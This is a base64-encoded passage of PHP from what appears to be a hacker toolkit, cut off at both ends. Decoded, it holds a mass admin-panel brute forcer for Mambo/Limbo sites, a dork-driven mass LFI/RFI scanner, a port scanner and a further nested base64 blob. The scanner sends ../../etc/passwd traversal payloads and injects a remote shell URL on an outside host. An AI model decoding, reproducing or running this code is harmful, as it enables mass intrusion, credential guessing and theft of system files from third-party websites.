dG9wdCgkYmFnbGFuLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7DQogICAgICAgICAgICAgY3VybF9zZXRvcHQoJGJhZ2xhbiwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYmFnbGFuLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJ0b2tlbj0lMjcmIi4kaGFzaC4iPTEiKTsNCiAgICAgICAgICAgICAkdGhpcy0+dmVyaT1jdXJsX2V4ZWMoJGJhZ2xhbik7DQogICAgICAgICAgICAgY3VybF9jbG9zZSgkYmFnbGFuKTsNCiAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnZlcmk7DQogICAgICAgfQ0KICAgICAgIHByaXZhdGUgZnVuY3Rpb24gaGFzaEJ1bCgka2F5bmFrKQ0KICAgICAgIHsNCiAgICAgICAgICAkdGhpcy0+cGFyY2FsYT1zZWxmOjpiYWdsYW4oJGtheW5hayk7DQogICAgICAgICAgJHRoaXMtPmRlc2VuPSIvdHlwZT1cImhpZGRlblwiIG5hbWU9XCIoWzAtOWEtZl17MzJ9KVwiIHZhbHVlPVwiMVwiL3NpIjsNCiAgICAgICAgICBwcmVnX21hdGNoX2FsbCgkdGhpcy0+ZGVzZW4sJHRoaXMtPnBhcmNhbGEsJGRpemkpOw0KICAgICAgICAgIHJldHVybiAkZGl6aVsxXVswXTsNCiAgICAgICB9DQogICAgICAgcHVibGljIGZ1bmN0aW9uIGtvbnRyb2woJGFkcmVzKQ0KICAgICAgIHsNCiAgICAgICBnbG9iYWwgJHRva2VudGFyYTsNCiAgICAgICAgICAkcG9zdGFsYT1zZWxmOjpwb3N0YWxhKCRhZHJlcyk7DQogICAgICAgICAgaWYoZXJlZ2koJ25hbWU9InBhc3N3b3JkMSInLCRwb3N0YWxhKSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAgZWNobyAnPGNlbnRlcj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICAgICAgIC5iZWtsZXlhemkgew0KICAgICAgICAgICAgICAgIGNvbG9yOiAjMDBGRjAwOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICA8L3N0eWxlPg0KICAgICANCiAgICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmVrbGV5YXppIj48c3Ryb25nPkZvdW5kIDogPC9zdHJvbmc+PGEgaHJlZj0iJy4kdG9rZW50YXJhLiR0aGlzLT5la2xlLiciPicuJHRva2VudGFyYS4kdGhpcy0+ZWtsZS4nPC9hPjwvc3Bhbj48L3A+PC9jZW50ZXI+JzsNCiAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpDQogICAgICAgew0KICAgICAgICAgIHVuc2V0KCR0aGlzLT5rb2RsYXIpOw0KICAgICAgICAgIHVuc2V0KCR0aGlzLT52ZXJpKTsNCiAgICAgICB9ICANCiAgICB9DQogICAgIA0KICAgICR4PW5ldyBTZWFyY2hlcigpOw0KICAgICR0b2tlbj0kX1BPU1QgWyd0b2tlbiddOw0KICAgIGlmICgkdG9rZW4pDQogICAgew0KICAgICAgIGVjaG8gJzxjZW50ZXI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAuYmVrbGVpc3RlIHsNCiAgICAgICAgICBjb2xvcjogIzAwMDAwMDsNCiAgICAgICB9DQogICAgICAgPC9zdHlsZT4NCiAgICAgDQogICAgICAgPHA+DQogICAgICAgPGltZyBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3LmJsdWVpY2VzdHVkaW9zLmNvbS9hamF4L2ltYWdlcy9hamF4LWxvYWRlci5naWYiIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgLz48c3BhbiBjbGFzcz0iYmVrbGVpc3RlIj4NCiAgICAgICBUYXJhbml5b3IuLi4gTHV0ZmVuIEJla2xleWluLi4uPC9zcGFuPjwvcD48L2NlbnRlcj4nOw0KICAgICR0ZW1pej1leHBsb2RlICgiXHJcbiIsJHRva2VuKTsNCiAgICBmb3JlYWNoICgkdGVtaXogYXMgJHRva2VudGFyYSkNCiAgICB7DQogICAgZWNobyAkeC0+a29udHJvbCgkdG9rZW50YXJhKTsNCiAgICB9DQogICAgICAgZWNobyAnPGNlbnRlcj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgIC5iZWtsZWlzdGUgew0KICAgICAgICAgIGNvbG9yOiAjMDAwMDAwOw0KICAgICAgIH0NCiAgICAgICA8L3N0eWxlPg0KICAgICANCiAgICAgICA8cD4NCiAgICAgICA8c3BhbiBjbGFzcz0iYmVrbGVpc3RlIj5GSU5JU0guLi48L3NwYW4+PC9wPjwvY2VudGVyPic7DQogICAgIA0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gIm1hbWJvIiApIHsNCiAgICA/Pg0KICAgIDw/cGhwDQogICAgb2Jfc3RhcnQoKTsNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgI01hbWJvIC8gTGltYm8gTWFzcyBBZG1pbiBQYW5lbCBCcnV0ZSBGb3JjZXIjDQogICAgI0NvZGV4LXggQnkgTWl5YUNodW5nIw0KICAgICNTaXRlbGVyaSBodHRwOi8vd3d3LnNpdGUuY29tLyBTZWtsaW5kZSB2ZXJpbiMNCiAgICAgDQogICAgZWNobyAnPHRpdGxlPk1hbWJvIC8gTGltYm8gTWFzcyBBZG1pbiBQYW5lbCBCcnV0ZSBGb3JjZXI8L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgPCEtLQ0KICAgIGJvZHksdGQsdGggew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgIH0NCiAgICBib2R5IHsNCiAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KICAgIH0NCiAgICAuc2l5YWggew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM5OTAwMDA7DQogICAgfQ0KICAgIC5zdHlsZTIgew0KICAgICAgIGNvbG9yOiAjRkZGRkZGOw0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM5OTAwMDA7DQogICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIH0NCiAgICAtLT4NCiAgICA8L3N0eWxlPg0KICAgIDxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9InN0eWxlMiI+TWFtYm8gLyBMaW1ibyBNYXNzIEFkbWluIFBhbmVsIEJydXRlIEZvcmNlciA8L2Rpdj4NCiAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+DQogICAgPHAgYWxpZ249ImNlbnRlciI+DQogICAgICA8dGV4dGFyZWEgbmFtZT0ic2l0ZWxpc3QiIGNvbHM9IjQwIiByb3dzPSIxMCIgY2xhc3M9InNpeWFoIiBpZD0ic2l0ZWxpc3QiPjwvdGV4dGFyZWE+DQogICAgICA8YnI+DQogICAgICA8YnI+DQogICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2l5YWgiIHZhbHVlPSJ3MHQiPg0KICAgIDwvcD4NCiAgICA8L2Zvcm0+JzsNCiAgICAkZWsgPSAiYWRtaW5pc3RyYXRvci9pbmRleC5waHAiOw0KICAgICRzaXRlbGlzdD1leHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGlzdCddKTsNCiAgICBmb3JlYWNoKCRzaXRlbGlzdCBhcyAkeWVuaWxpc3Qpew0KICAgICR0ZW1pej10cmltKCR5ZW5pbGlzdCk7DQogICAgJHNpdGU9JHRlbWl6LiRlazsNCiAgICAgDQogICAgaWYoISAkX1BPU1RbJ3NpdGVsaXN0J109PSIiKXsNCiAgICAgDQogICAgICAgJHVzZXJuYW1lID0gJ2FkbWluJzsgLy8gQ0hBTkdFIFRISVMNCiAgICAgICAkcGFzc3dvcmQgPSAnYWRtaW4nOyAvLyBDSEFOR0UgVEhJUw0KICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsInVzcm5hbWU9JHVzZXJuYW1lJnBhc3M9JHBhc3N3b3JkJnN1Ym1pdD1Mb2dpbiIpOw0KICAgICANCiAgICAkYSA9IGN1cmxfZXhlYygkY3VybCk7DQogICAgIA0KICAgIGlmKHByZWdfbWF0Y2goIi9hZG1pbiBMb2dvdXQvIiwkYSkpew0KICAgICANCiAgICAgICAgICBlY2hvICc8Y2VudGVyPjxhIGhyZWY9IicuJHNpdGUuJyI+Jy4kc2l0ZS4nPC9hPjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgICANCiAgICB9DQogICAgfQ0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gInJmaWxmaSIgKSB7DQogICAgPz4NCiAgICA8P3BocA0KICAgICMgTWFzcyBSRkkvTEZJIFNjYW5uZXIgTkVXIC0gKFN0YXJ0cGFnaW5hW0dPT0dMRV0pDQogICAgIyBDb2RlZCBieSBNaXlhQ2h1bmcNCiAgICAjIE1peWFDaHVuZ0Bob3RtYWlsLmNvbQ0KICAgICMgMTkuMTEuMjAxMA0KICAgICMgSSBMb3ZlIFlvdSBHb29nbGUNCiAgICBvYl9zdGFydCgpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgICANCiAgICBlY2hvICc8Y2VudGVyPjx0aXRsZT5NYXNzIFJGSS9MRkkgU2Nhbm5lciBORVcgLSBTdGFydHBhZ2luYSBbTWl5YUNodW5nXTwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPHRleHRhcmVhIG5hbWU9ImRvcmsiIGNvbHM9IjM1IiByb3dzPSI1Ij48L3RleHRhcmVhPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzY2FuIiB2YWx1ZT0iU2NhbiI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPic7DQogICAgIA0KICAgIGlmKCEgJF9QT1NUWydkb3JrJ109PSIiKXsNCiAgICBmdW5jdGlvbiBnb29nbGUoJGRvcmssJHBhZ2Upew0KICAgICRjdXJsID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwnaHR0cDovL3N0YXJ0Z29vZ2xlLnN0YXJ0cGFnaW5hLm5sLz9xPScuJGRvcmsuJyZzdGFydD0nLiRwYWdlLicmc291cmNlPXdlYicpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMikgR2Vja28vMjAxMDEwMjYgRmlyZWZveC8zLjYuMTIgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICRleGVjPWN1cmxfZXhlYygkY3VybCk7DQogICAgY3VybF9jbG9zZSgkY3VybCk7DQogICAgcmV0dXJuICRleGVjOw0KICAgIH0NCiAgICBmb3IoJGlkPTEgOyAgJGlkPD0zMDsgICAkaWQrKyl7DQogICAgJHBhZ2U9JGlkKjEwOw0KICAgICANCiAgICAkZ29naWw9ZXhwbG9kZSgiXG4iLCRfUE9TVFsnZG9yayddKTsNCiAgICBmb3JlYWNoKCRnb2dpbCBhcyAkZ29nbyl7DQogICAgJGdvZ289dHJpbSgkZ29nbyk7DQogICAgJGdvb2dsZSA9IGdvb2dsZSgkZ29nbywkcGFnZSk7DQogICAgJHJlZyAgID0gJyM8Zm9udCBjb2xvcj0iXCMwMDgwMDAiXD4oLio/KTwvZm9udD4jc2knOw0KICAgIHByZWdfbWF0Y2hfYWxsKCRyZWcsJGdvb2dsZSwkY2lrdGkpOw0KICAgICANCiAgICBmb3JlYWNoKCRjaWt0aVswXSBhcyAkc2l0ZSl7DQogICAgJHNpdGU9dHJpbSgkc2l0ZSk7DQogICAgJHNpdGU9ZXhwbG9kZSgiLSIsJHNpdGUpOw0KICAgICRzaXRlPWV4cGxvZGUoIj0iLCRzaXRlWzBdKTsNCiAgICAkc2l0ZT1lcmVnX3JlcGxhY2UoJyIjMDA4MDAwIj4nLCcnLCRzaXRlWzFdKTsNCiAgICAkc2l0ZT0kc2l0ZS4iPSI7DQogICAgZWNobyAnPGNlbnRlcj48Yj5TY2FubmluZyBVUkwgOiAnLiRzaXRlLic8L2I+PC9jZW50ZXI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgIA0KICAgIC8vTEZJIDEgU2Nhbg0KICAgICRiYWcxPSRzaXRlLiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIjsNCiAgICAkY2gxPWN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRiYWcxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMikgR2Vja28vMjAxMDEwMjYgRmlyZWZveC8zLjYuMTIgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgIGN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9USU1FT1VULCc1Jyk7DQogICAgJGV4MT1jdXJsX2V4ZWMoJGNoMSk7DQogICAgaWYoZXJlZ2koJ3Jvb3Q6eDonLCRleDEpKXsNCiAgICAgDQogICAgZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0icmVkIj5MRkkgRm91bmQgOiA8YSBocmVmPSInLiRiYWcxLiciPicuJGJhZzEuJzwvYT48L2I+PC9mb250PjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIH0NCiAgICAvL0xGSSAyIFNjYW4NCiAgICAkYmFnMj0kc2l0ZS4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMCI7DQogICAgJGNoMj1jdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gyLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoMixDVVJMT1BUX1VSTCwkYmFnMik7DQogICAgY3VybF9zZXRvcHQoJGNoMixDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTIpIEdlY2tvLzIwMTAxMDI2IEZpcmVmb3gvMy42LjEyICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICBjdXJsX3NldG9wdCgkY2gyLENVUkxPUFRfVElNRU9VVCwnNScpOw0KICAgICRleDI9Y3VybF9leGVjKCRjaDIpOw0KICAgIGlmKGVyZWdpKCdyb290Ong6JywkZXgyKSl7DQogICAgZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0icmVkIj5MRkkgRm91bmQgOiA8YSBocmVmPSInLiRiYWcyLiciPicuJGJhZzIuJzwvYT48L2I+PC9mb250PjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIH0NCiAgICAvL1JGSSBTY2FuDQogICAgJGJhZzM9JHNpdGUuJ2h0dHA6Ly93d3cudGl0YW5hdmlhdGlvbi5jby5pbi9wcmVzcy9sLnBocD8nOyAvLyBZT1VSIFNIRUxMDQogICAgJGNoMz1jdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gzLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoMyxDVVJMT1BUX1VSTCwkYmFnMyk7DQogICAgY3VybF9zZXRvcHQoJGNoMyxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTIpIEdlY2tvLzIwMTAxMDI2IEZpcmVmb3gvMy42LjEyICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICBjdXJsX3NldG9wdCgkY2gzLENVUkxPUFRfVElNRU9VVCwnNScpOw0KICAgICRleDM9Y3VybF9leGVjKCRjaDMpOw0KICAgIGlmKGVyZWdpKCd1bmFtZScsJGV4Mykpew0KICAgIGVjaG8gJzxjZW50ZXI+PGI+PGZvbnQgY29sb3I9ImJsdWUiPlJGSSBGb3VuZCA6IDxhIGhyZWY9IicuJGJhZzMuJyI+Jy4kYmFnMy4nPC9hPjwvYj48L2ZvbnQ+PC9jZW50ZXI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgfQ0KICAgICANCiAgICB9DQogICAgIA0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgID8+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicG9ydHMiICkgew0KICAgID8+DQogICAgPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+DQogICAgPGh0bWw+DQogICAgPGhlYWQ+DQogICAgICAgIDxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPg0KICAgICAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9ImlKb28iPg0KICAgICANCiAgICAgICAgPHRpdGxlPlBIUCBQb3J0IFNjYW5uZXIsIENvZGVkIGJ5IGlKb288L3RpdGxlPg0KICAgIDwvaGVhZD4NCiAgICA8IS0tIFBIUCBQb3J0IFNjYW5uZXIgLSBpSm9vIChJbmRvc2VjdXJlLm5ldCkgLS0+DQogICAgPGJvZHk+DQogICAgPGNlbnRlcj48YnI+DQogICAgPGltZyBzcmM9InBocHMucG5nIj48YnI+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgTWFzdWthbiBOYW1hIHdlYnNpdGUgLyBJUCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpam9vIiB2YWx1ZT0iMC4wLjAuMCI+PC9mb3JtPjxicj4NCiAgICA8Pw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnaWpvbyddKSl7DQogICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgICAgJHNpdGUgPSAkX1BPU1RbJ2lqb28nXTsNCiAgICAgICAgJHBvcnQgPSBhcnJheSgyMCwyMSwyMiwyNSw2NSw4MCwzMTI4LDMzNjAsNDg5OSw4MDgwLDg4ODgpOyAkYmF0YXM9Y291bnQoJHBvcnQpOw0KICAgICAgICBlY2hvICI8dGFibGU+IjsNCiAgICAgICAgJGk9MDsNCiAgICAgICAgICAgIHdoaWxlKCRpPCRiYXRhcyl7DQogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJHNpdGUsJHBvcnRbJGldLCRlcnJubywkZXJyc3RyLDEwKTsNCiAgICAgICAgICAgICAgICBpZighJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4mYnVsbDsgIi4kcG9ydFskaV0uIiA8L3RkPjx0ZD49PT4gPGZvbnQgY29sb3I9cmVkPjxiPkNhbm5vdDwvYj48L2ZvbnQ+IGNvbm5lY3QgdG8gc2VydmVyPC90ZD48L3RyPiI7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiZidWxsOyAiLiRwb3J0WyRpXS4iIDwvdGQ+PHRkPj09PiBDb25uZWN0IHdhcyA8Yj48Zm9udCBjb2xvcj1ncmVlbj5zdWNjZXNzZnVsPC9mb250PjwvYj4gLSBvcGVuIGF0ICIuJHNpdGU7ZmNsb3NlKCRmcCkuIjwvdGQ+PC90cj4iO30NCiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gICAgDQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImRvbWFpbiIgKSB7DQogICAgPz4NCiAgICA8aWZyYW1lIHNyYz0naHR0cDovL2NlbnRyYWxvcHMubmV0L2NvL0RvbWFpbkRvc3NpZXIuYXNweCcgIHdpZHRoPTEwMCUgaGVpZ2h0PTYwMCBpZD0iSTEiIG5hbWU9IklGMSIgPg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImxmaXByaXYiICkgew0KICAgICANCiAgICA/Pg0KICAgIDw/DQogICAgJGxmaXByaXY4ID0gJ1BFSlBSRmtnVDI1TFpYbFFjbVZ6Y3owaVIyVjBTMlY1UTI5a1pTZ3BPeUlnZEdWNGREMXlaV1FnWW05MGRHOXRUV0Z5WjJsdVBUQWcNCiAgICBZbWREYjJ4dmNqMGpNREF3TURBd0lHeGxablJOWVhKbmFXNDlNQ0IwYjNCTllYSm5hVzQ5TUNCeWFXZG9kRTFoY21kcGJqMHdJRzFoDQogICAgY21kcGJtaGxhV2RvZEQwd0lHMWhjbWRwYm5kcFpIUm9QVEErUEdObGJuUmxjajRLUEdoMGJXdytDanhvWldGa1BnbzhiV1YwWVNCag0KICAgIGIyNTBaVzUwUFNKbWNpSWdhSFIwY0MxbGNYVnBkajBpUTI5dWRHVnVkQzFNWVc1bmRXRm5aU0krQ2p4dFpYUmhJR052Ym5SbGJuUTkNCiAgICBJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDEzYVc1a2IzZHpMVEV5TlRJaUlHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRWSGx3DQogICAgWlNJK0NqeDBhWFJzWlQ0amZpQk1Sa2tnVTJWeWRtVnlJRk5qWVc1dVpYSWdmQ0JDZVNCYklFeGhaM0pwY0dVdFJIb2dYVHd2ZEdsMA0KICAgIGJHVStDanh6ZEhsc1pUNHFleUJtYjI1MExXWmhiV2xzZVRwV1pYSmtZVzVoT3lCbWIyNTBMWE5wZW1VNk1USTdJSFJsZUhRdFpHVmoNCiAgICBiM0poZEdsdmJqcHViMjVsT3lCOUNtbHVjSFYwTENCMFpYaDBZWEpsWVN4elpXeGxZM1FnZXdvZ0lDQWdZbTl5WkdWeU9pQXhjSGdnDQogICAgYzI5c2FXUWdJell5TmpJMk1qc0tmUW84TDNOMGVXeGxQZ284TDJobFlXUStDanhpYjJSNVBnbzhZbkkrUEdKeVBqeGpaVzUwWlhJKw0KICAgIENqeG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SWxCUFUxUWlQZ29qZmlCTVJra2dVMlZ5ZG1WeUlGTmpZVzV1WlhJZ2ZDQkMNCiAgICBlU0JiSUV4aFozSnBjR1V0UkhvZ1hUeGljajQ4WW5JK0NrbFFJRG9nUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUhaaGJIVmxQU0k4DQogICAgUHlCbFkyaHZJQ2drWDFCUFUxUmJKMmx3SjEwcElEOGdKRjlRVDFOVVd5ZHBjQ2RkT2lJaU96OCtJaUJ1WVcxbFBTSnBjQ0krQ2p4eg0KICAgIFpXeGxZM1FnYzJsNlpUMGlNU0lnYm1GdFpUMGlkMmgwSWo0OGIzQjBhVzl1UGk1d2FIQS9jR0ZuWlQwOEwyOXdkR2x2Ymo0OGIzQjANCiAgICBhVzl1UGk1d2FIQS9LQzRxS1QwOEwyOXdkR2x2Ymo0OEwzTmxiR1ZqZEQ0S0NUeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoDQogICAgYldVOUluTjBZWEowSWlCMllXeDFaVDBpVTNSaGNuUWdVMk5oYmlBdUxpSStDZ2s4TDJadmNtMCtDZ2s4YUhJZ2QybGtkR2c5SWpJMw0KICAgIEpTSStDancvQ2tCelpYUmZkR2x0WlY5c2FXMXBkQ2d3S1RzS0Nnb0tKSE4wWVhKMElEMGdibVYzSUhOelgySnBibWNvS1RzS0NncHANCiAgICBaaWdrWDFCUFUxUXBld29LWldOb2J5QW9JV05vWldOcmFYQW9KRjlRVDFOVVd5ZHBjQ2RkS1NrZ1B5QWlQR0krWlhKeWIzSTZPa2xRDQogICAgSUdseklHbHVkbUZzYVdROEwySStQR2h5SUhkcFpIUm9QVEkzSlQ0aU9pSWlPd3BsWTJodklDZ2haWGgwWlc1emFXOXVYMnh2WVdSbA0KICAgIFpDZ2lZM1Z5YkNJcEtTQS9JQ0k4WWo1bGNuSnZjam82WTFWU1RDQmxlSFJsYm5OcGIyNGdjbVZ4ZFdseVpXUThMMkkrUEdoeUlIZHANCiAgICBaSFJvUFRJM0pUNGlPaUlpT3dvS2FXWW9ZMmhsWTJ0cGNDZ2tYMUJQVTFSYkoybHdKMTBwSUNZbUlHVjRkR1Z1YzJsdmJsOXNiMkZrDQogICAgWldRb0ltTjFjbXdpS1NsN0Nnb2tkWEpzY3lBOUlDUnpkR0Z5ZEMwK2MyVmhjbU5vS0NKcGNEb2lMaVJmVUU5VFZGc25hWEFuWFM0aQ0KICAgIElDSXVKRjlRVDFOVVd5ZDNhSFFuWFN3d0tUc0tDbVZqYUc4Z0lqeDBZV0pzWlNCaWIzSmtaWEk5SnpBbklHRnNhV2R1UFdObGJuUmwNCiAgICBjajRLUEhSeVBqeDBaQ0JoYkdsbmJqMWpaVzUwWlhJK1BHSStPam9nVTJOaGJpQlRkR0Z5ZENBNk9qd3ZZajQ4TDNSa1Bqd3ZkSEkrDQogICAgSWpzS0NtbG1LQ1JmVUU5VFZGc25kMmgwSjEwZ1BUMGdKeTV3YUhBL0tDNHFLVDBuS1hzS1ptOXlaV0ZqYUNna2RYSnNjeUJoY3lBaw0KICAgIGRYSnNLWHRwWmlobGNtVm5hU2dpUFNJc0lDUjFjbXdwSUNZbUlDRmxjbVZuYVNnaWIzQjBhVzl1UFdOdmJWOGlMQ1IxY213cEtYc2sNCiAgICBibVYzWDNWeWJITmJYVDBrZFhKc08zMTlDblZ1YzJWMEtDUjFjbXh6S1RzZ0pIVnliSE1nUFNBa2JtVjNYM1Z5YkhNN0NuMEtDbVp2DQogICAgY21WaFkyZ29KSFZ5YkhNZ1lYTWdKSFZ5YkNsN0NncGxZMmh2SUNJOGRISStQSFJrUGlJN0NpUjBjM1FnUFNCc1pta29KSFZ5YkNrNw0KICAgIENtVmphRzhnS0NSMGMzUXBJRDhnSWlNZ1JtOTFibVFnT2lBaUxtTnZiRzl5S0NSMGMzUX